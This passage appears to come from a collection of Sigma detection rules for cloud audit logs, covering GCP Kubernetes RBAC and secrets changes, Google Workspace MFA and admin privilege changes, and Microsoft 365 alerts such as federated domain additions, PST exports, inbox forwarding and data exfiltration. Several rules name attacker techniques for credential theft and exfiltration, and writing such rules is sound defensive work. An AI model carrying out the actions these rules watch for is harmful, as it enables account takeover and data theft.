"path": "rules/cloud/gcp/audit/gcp_kubernetes_rolebinding.yml",
"content": "title: Google Cloud Kubernetes RoleBinding\nid: 0322d9f2-289a-47c2-b5e1-b63c90901a3e\nstatus: test\ndescription: Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.\nreferences:\n - https://github.com/elastic/detection-rules/pull/1267\n - https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole\n - https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control\n - https://kubernetes.io/docs/reference/access-authn-authz/rbac/\n - https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging\nauthor: Austin Songer @austinsonger\ndate: 2021-08-09\nmodified: 2022-10-09\ntags:\n - attack.credential-access\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - io.k8s.authorization.rbac.v*.clusterrolebindings.create\n - io.k8s.authorization.rbac.v*.rolebindings.create\n - io.k8s.authorization.rbac.v*.clusterrolebindings.patch\n - io.k8s.authorization.rbac.v*.rolebindings.patch\n - io.k8s.authorization.rbac.v*.clusterrolebindings.update\n - io.k8s.authorization.rbac.v*.rolebindings.update\n - io.k8s.authorization.rbac.v*.clusterrolebindings.delete\n - io.k8s.authorization.rbac.v*.rolebindings.delete\n condition: selection\nfalsepositives:\n - RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_kubernetes_secrets_modified_or_deleted.yml",
"content": "title: Google Cloud Kubernetes Secrets Modified or Deleted\nid: 2f0bae2d-bf20-4465-be86-1311addebaa3\nstatus: test\ndescription: Identifies when the Secrets are Modified or Deleted.\nreferences:\n - https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging\nauthor: Austin Songer @austinsonger\ndate: 2021-08-09\nmodified: 2022-10-09\ntags:\n - attack.credential-access\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - io.k8s.core.v*.secrets.create\n - io.k8s.core.v*.secrets.update\n - io.k8s.core.v*.secrets.patch\n - io.k8s.core.v*.secrets.delete\n condition: selection\nfalsepositives:\n - Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_service_account_disabled_or_deleted.yml",
"content": "title: Google Cloud Service Account Disabled or Deleted\nid: 13f81a90-a69c-4fab-8f07-b5bb55416a9f\nstatus: test\ndescription: Identifies when a service account is disabled or deleted in Google Cloud.\nreferences:\n - https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts\nauthor: Austin Songer @austinsonger\ndate: 2021-08-14\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1531\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name|endswith:\n - .serviceAccounts.disable\n - .serviceAccounts.delete\n condition: selection\nfalsepositives:\n - Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_service_account_modified.yml",
"content": "title: Google Cloud Service Account Modified\nid: 6b67c12e-5e40-47c6-b3b0-1e6b571184cc\nstatus: test\ndescription: Identifies when a service account is modified in Google Cloud.\nreferences:\n - https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts\nauthor: Austin Songer @austinsonger\ndate: 2021-08-14\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name|endswith:\n - .serviceAccounts.patch\n - .serviceAccounts.create\n - .serviceAccounts.update\n - .serviceAccounts.enable\n - .serviceAccounts.undelete\n condition: selection\nfalsepositives:\n - Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_sql_database_modified_or_deleted.yml",
"content": "title: Google Cloud SQL Database Modified or Deleted\nid: f346bbd5-2c4e-4789-a221-72de7685090d\nstatus: test\ndescription: Detect when a Cloud SQL DB has been modified or deleted.\nreferences:\n - https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update\nauthor: Austin Songer @austinsonger\ndate: 2021-10-15\nmodified: 2022-12-25\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - cloudsql.instances.create\n - cloudsql.instances.delete\n - cloudsql.users.update\n - cloudsql.users.delete\n condition: selection\nfalsepositives:\n - SQL Database being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/audit/gcp_vpn_tunnel_modified_or_deleted.yml",
"content": "title: Google Cloud VPN Tunnel Modified or Deleted\nid: 99980a85-3a61-43d3-ac0f-b68d6b4797b1\nstatus: test\ndescription: Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.\nreferences:\n - https://any-api.com/googleapis_com/compute/docs/vpnTunnels\nauthor: Austin Songer @austinsonger\ndate: 2021-08-16\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: gcp.audit\ndetection:\n selection:\n gcp.audit.method_name:\n - compute.vpnTunnels.insert\n - compute.vpnTunnels.delete\n condition: selection\nfalsepositives:\n - VPN Tunnel being modified or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/gworkspace/gcp_gworkspace_application_access_levels_modified.yml",
"content": "title: Google Workspace Application Access Level Modified\nid: 22f2fb54-5312-435d-852f-7c74f81684ca\nstatus: test\ndescription: |\n Detects when an access level is changed for a Google workspace application.\n An access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model.\n An adversary would be able to remove access levels to gain easier access to Google workspace resources.\nreferences:\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-application-settings\n - https://support.google.com/a/answer/9261439\nauthor: Bryan Lim\ndate: 2024-01-12\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1098.003\nlogsource:\n product: gcp\n service: google_workspace.admin\ndetection:\n selection:\n eventService: 'admin.googleapis.com'\n eventName: 'CHANGE_APPLICATION_SETTING'\n setting_name|startswith: 'ContextAwareAccess'\n condition: selection\nfalsepositives:\n - Legitimate administrative activities changing the access levels for an application\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/gworkspace/gcp_gworkspace_application_removed.yml",
"content": "title: Google Workspace Application Removed\nid: ee2803f0-71c8-4831-b48b-a1fc57601ee4\nstatus: test\ndescription: Detects when an an application is removed from Google Workspace.\nreferences:\n - https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST\nauthor: Austin Songer\ndate: 2021-08-26\nmodified: 2023-10-11\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: google_workspace.admin\ndetection:\n selection:\n eventService: admin.googleapis.com\n eventName:\n - REMOVE_APPLICATION\n - REMOVE_APPLICATION_FROM_WHITELIST\n condition: selection\nfalsepositives:\n - Application being removed may be performed by a System Administrator.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/gworkspace/gcp_gworkspace_granted_domain_api_access.yml",
"content": "title: Google Workspace Granted Domain API Access\nid: 04e2a23a-9b29-4a5c-be3a-3542e3f982ba\nstatus: test\ndescription: Detects when an API access service account is granted domain authority.\nreferences:\n - https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS\nauthor: Austin Songer\ndate: 2021-08-23\nmodified: 2023-10-11\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1098\nlogsource:\n product: gcp\n service: google_workspace.admin\ndetection:\n selection:\n eventService: admin.googleapis.com\n eventName: AUTHORIZE_API_CLIENT_ACCESS\n condition: selection\nfalsepositives:\n - Unknown\n\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/gworkspace/gcp_gworkspace_mfa_disabled.yml",
"content": "title: Google Workspace MFA Disabled\nid: 780601d1-6376-4f2a-884e-b8d45599f78c\nstatus: test\ndescription: Detects when multi-factor authentication (MFA) is disabled.\nreferences:\n - https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION\nauthor: Austin Songer\ndate: 2021-08-26\nmodified: 2023-10-11\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: google_workspace.admin\ndetection:\n selection_base:\n eventService: admin.googleapis.com\n eventName:\n - ENFORCE_STRONG_AUTHENTICATION\n - ALLOW_STRONG_AUTHENTICATION\n selection_eventValue:\n new_value: 'false'\n condition: all of selection*\nfalsepositives:\n - MFA may be disabled and performed by a system administrator.\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/gworkspace/gcp_gworkspace_role_modified_or_deleted.yml",
"content": "title: Google Workspace Role Modified or Deleted\nid: 6aef64e3-60c6-4782-8db3-8448759c714e\nstatus: test\ndescription: Detects when an a role is modified or deleted in Google Workspace.\nreferences:\n - https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings\nauthor: Austin Songer\ndate: 2021-08-24\nmodified: 2023-10-11\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: google_workspace.admin\ndetection:\n selection:\n eventService: admin.googleapis.com\n eventName:\n - DELETE_ROLE\n - RENAME_ROLE\n - UPDATE_ROLE\n condition: selection\nfalsepositives:\n - Unknown\n\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/gworkspace/gcp_gworkspace_role_privilege_deleted.yml",
"content": "title: Google Workspace Role Privilege Deleted\nid: bf638ef7-4d2d-44bb-a1dc-a238252e6267\nstatus: test\ndescription: Detects when an a role privilege is deleted in Google Workspace.\nreferences:\n - https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings\nauthor: Austin Songer\ndate: 2021-08-24\nmodified: 2023-10-11\ntags:\n - attack.impact\nlogsource:\n product: gcp\n service: google_workspace.admin\ndetection:\n selection:\n eventService: admin.googleapis.com\n eventName: REMOVE_PRIVILEGE\n condition: selection\nfalsepositives:\n - Unknown\n\nlevel: medium\n"
},
{
"path": "rules/cloud/gcp/gworkspace/gcp_gworkspace_user_granted_admin_privileges.yml",
"content": "title: Google Workspace User Granted Admin Privileges\nid: 2d1b83e4-17c6-4896-a37b-29140b40a788\nstatus: test\ndescription: Detects when an Google Workspace user is granted admin privileges.\nreferences:\n - https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3\n - https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE\nauthor: Austin Songer\ndate: 2021-08-23\nmodified: 2023-10-11\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.t1098\nlogsource:\n product: gcp\n service: google_workspace.admin\ndetection:\n selection:\n eventService: admin.googleapis.com\n eventName:\n - GRANT_DELEGATED_ADMIN_PRIVILEGES\n - GRANT_ADMIN_PRIVILEGE\n condition: selection\nfalsepositives:\n - Google Workspace admin role privileges, may be modified by system administrators.\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/audit/microsoft365_bypass_conditional_access.yml",
"content": "title: Azure Login Bypassing Conditional Access Policies\nid: 13f2d3f5-6497-44a7-bf5f-dc13ffafe5dc\nstatus: experimental\ndescription: |\n Detects a successful login to the Microsoft Intune Company Portal which could allow bypassing Conditional Access Policies and InTune device trust using a tool like TokenSmith.\nauthor: Josh Nickels, Marius Rothenbücher\nreferences:\n - https://labs.jumpsec.com/tokensmith-bypassing-intune-compliant-device-conditional-access/\n - https://github.com/JumpsecLabs/TokenSmith\ndate: 2025-01-08\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\nlogsource:\n service: audit\n product: m365\ndetection:\n selection:\n Operation: 'UserLoggedIn'\n ApplicationId: '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223'\n ResultStatus: 'Success'\n RequestType: 'Cmsi:Cmsi'\n filter_main_bjectid:\n ObjectId: '0000000a-0000-0000-c000-000000000000' # Microsoft Intune seen when mobile devices are enrolled\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/cloud/m365/audit/microsoft365_disabling_mfa.yml",
"content": "title: Disabling Multi Factor Authentication\nid: 60de9b57-dc4d-48b9-a6a0-b39e0469f876\nstatus: test\ndescription: Detects disabling of Multi Factor Authentication.\nreferences:\n - https://research.splunk.com/cloud/c783dd98-c703-4252-9e8a-f19d9f5c949e/\nauthor: Splunk Threat Research Team (original rule), Harjot Singh @cyb3rjy0t (sigma rule)\ndate: 2023-09-18\ntags:\n - attack.persistence\n - attack.defense-evasion\n - attack.credential-access\n - attack.t1556.006\nlogsource:\n service: audit\n product: m365\ndetection:\n selection:\n Operation|contains: 'Disable Strong Authentication.'\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/cloud/m365/audit/microsoft365_new_federated_domain_added_audit.yml",
"content": "title: New Federated Domain Added\nid: 58f88172-a73d-442b-94c9-95eaed3cbb36\nrelated:\n - id: 42127bdd-9133-474f-a6f1-97b6c08a4339\n type: similar\nstatus: test\ndescription: Detects the addition of a new Federated Domain.\nreferences:\n - https://research.splunk.com/cloud/e155876a-6048-11eb-ae93-0242ac130002/\n - https://o365blog.com/post/aadbackdoor/\nauthor: Splunk Threat Research Team (original rule), Harjot Singh @cyb3rjy0t (sigma rule)\ndate: 2023-09-18\ntags:\n - attack.defense-evasion\n - attack.privilege-escalation\n - attack.t1484.002\nlogsource:\n service: audit\n product: m365\ndetection:\n selection_domain:\n Operation|contains: 'domain'\n selection_operation:\n Operation|contains:\n - 'add'\n - 'new'\n condition: all of selection_*\nfalsepositives:\n - The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider.\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/exchange/microsoft365_new_federated_domain_added_exchange.yml",
"content": "title: New Federated Domain Added - Exchange\nid: 42127bdd-9133-474f-a6f1-97b6c08a4339\nrelated:\n - id: 58f88172-a73d-442b-94c9-95eaed3cbb36\n type: similar\nstatus: test\ndescription: Detects the addition of a new Federated Domain.\nreferences:\n - https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf\n - https://us-cert.cisa.gov/ncas/alerts/aa21-008a\n - https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html\n - https://www.sygnia.co/golden-saml-advisory\n - https://o365blog.com/post/aadbackdoor/\nauthor: Splunk Threat Research Team (original rule), '@ionsor (rule)'\ndate: 2022-02-08\ntags:\n - attack.persistence\n - attack.t1136.003\nlogsource:\n service: exchange\n product: m365\ndetection:\n selection:\n eventSource: Exchange\n eventName: 'Add-FederatedDomain'\n status: success\n condition: selection\nfalsepositives:\n - The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider.\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_detection/microsoft365_from_susp_ip_addresses.yml",
"content": "title: Activity from Suspicious IP Addresses\nid: a3501e8e-af9e-43c6-8cd6-9360bdaae498\nstatus: test\ndescription: |\n Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence.\n These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2021-08-23\nmodified: 2022-10-09\ntags:\n - attack.command-and-control\n - attack.t1573\nlogsource:\n service: threat_detection\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Activity from suspicious IP addresses'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_activity_by_terminated_user.yml",
"content": "title: Activity Performed by Terminated User\nid: 2e669ed8-742e-4fe5-b3c4-5a59b486c2ee\nstatus: test\ndescription: |\n Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\n This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2021-08-23\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Activity performed by terminated user'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_activity_from_anonymous_ip_addresses.yml",
"content": "title: Activity from Anonymous IP Addresses\nid: d8b0a4fe-07a8-41be-bd39-b14afa025d95\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2021-08-23\nmodified: 2022-10-09\ntags:\n - attack.command-and-control\n - attack.t1573\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Activity from anonymous IP addresses'\n status: success\n condition: selection\nfalsepositives:\n - User using a VPN or Proxy\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_activity_from_infrequent_country.yml",
"content": "title: Activity from Infrequent Country\nid: 0f2468a2-5055-4212-a368-7321198ee706\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2021-08-23\nmodified: 2022-10-09\ntags:\n - attack.command-and-control\n - attack.t1573\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Activity from infrequent country'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_data_exfiltration_to_unsanctioned_app.yml",
"content": "title: Data Exfiltration to Unsanctioned Apps\nid: 2b669496-d215-47d8-bd9a-f4a45bf07cda\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2021-08-23\nmodified: 2022-10-09\ntags:\n - attack.exfiltration\n - attack.t1537\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Data exfiltration to unsanctioned apps'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_impossible_travel_activity.yml",
"content": "title: Microsoft 365 - Impossible Travel Activity\nid: d7eab125-5f94-43df-8710-795b80fa1189\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2020-07-06\nmodified: 2021-11-27\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Impossible travel activity'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_logon_from_risky_ip_address.yml",
"content": "title: Logon from a Risky IP Address\nid: c191e2fa-f9d6-4ccf-82af-4f2aba08359f\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2021-08-23\nmodified: 2022-10-09\ntags:\n - attack.privilege-escalation\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1078\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Log on from a risky IP address'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_potential_ransomware_activity.yml",
"content": "title: Microsoft 365 - Potential Ransomware Activity\nid: bd132164-884a-48f1-aa2d-c6d646b04c69\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: austinsonger\ndate: 2021-08-19\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1486\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Potential ransomware activity'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_pst_export_alert.yml",
"content": "title: PST Export Alert Using eDiscovery Alert\nid: 18b88d08-d73e-4f21-bc25-4b9892a4fdd0\nrelated:\n - id: 6897cd82-6664-11ed-9022-0242ac120002\n type: similar\nstatus: test\ndescription: Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content\nreferences:\n - https://learn.microsoft.com/en-us/microsoft-365/compliance/alert-policies?view=o365-worldwide\nauthor: Sorina Ionescu\ndate: 2022-02-08\nmodified: 2022-11-17\ntags:\n - attack.collection\n - attack.t1114\nlogsource:\n service: threat_management\n product: m365\n definition: Requires the 'eDiscovery search or exported' alert to be enabled\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'eDiscovery search started or exported'\n status: success\n condition: selection\nfalsepositives:\n - PST export can be done for legitimate purposes but due to the sensitive nature of its content it must be monitored.\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_pst_export_alert_using_new_compliancesearchaction.yml",
"content": "title: PST Export Alert Using New-ComplianceSearchAction\nid: 6897cd82-6664-11ed-9022-0242ac120002\nrelated:\n - id: 18b88d08-d73e-4f21-bc25-4b9892a4fdd0\n type: similar\nstatus: test\ndescription: Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud.\nreferences:\n - https://learn.microsoft.com/en-us/powershell/module/exchange/new-compliancesearchaction?view=exchange-ps\nauthor: Nikita Khalimonenkov\ndate: 2022-11-17\ntags:\n - attack.collection\n - attack.t1114\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n Payload|contains|all:\n - 'New-ComplianceSearchAction'\n - 'Export'\n - 'pst'\n condition: selection\nfalsepositives:\n - Exporting a PST can be done for legitimate purposes by legitimate sources, but due to the sensitive nature of PST content, it must be monitored.\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_susp_inbox_forwarding.yml",
"content": "title: Suspicious Inbox Forwarding\nid: 6c220477-0b5b-4b25-bb90-66183b4089e8\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2021-08-22\nmodified: 2022-10-09\ntags:\n - attack.exfiltration\n - attack.t1020\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Suspicious inbox forwarding'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_susp_oauth_app_file_download_activities.yml",
"content": "title: Suspicious OAuth App File Download Activities\nid: ee111937-1fe7-40f0-962a-0eb44d57d174\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: Austin Songer @austinsonger\ndate: 2021-08-23\nmodified: 2022-10-09\ntags:\n - attack.exfiltration\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Suspicious OAuth app file download activities'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_unusual_volume_of_file_deletion.yml",
"content": "title: Microsoft 365 - Unusual Volume of File Deletion\nid: 78a34b67-3c39-4886-8fb4-61c46dc18ecd\nstatus: test\ndescription: Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: austinsonger\ndate: 2021-08-19\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1485\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'Unusual volume of file deletion'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/m365/threat_management/microsoft365_user_restricted_from_sending_email.yml",
"content": "title: Microsoft 365 - User Restricted from Sending Email\nid: ff246f56-7f24-402a-baca-b86540e3925c\nstatus: test\ndescription: Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.\nreferences:\n - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy\n - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference\nauthor: austinsonger\ndate: 2021-08-19\nmodified: 2022-10-09\ntags:\n - attack.initial-access\n - attack.t1199\nlogsource:\n service: threat_management\n product: m365\ndetection:\n selection:\n eventSource: SecurityComplianceCenter\n eventName: 'User restricted from sending email'\n status: success\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/identity/cisco_duo/cisco_duo_mfa_bypass_via_bypass_code.yml",
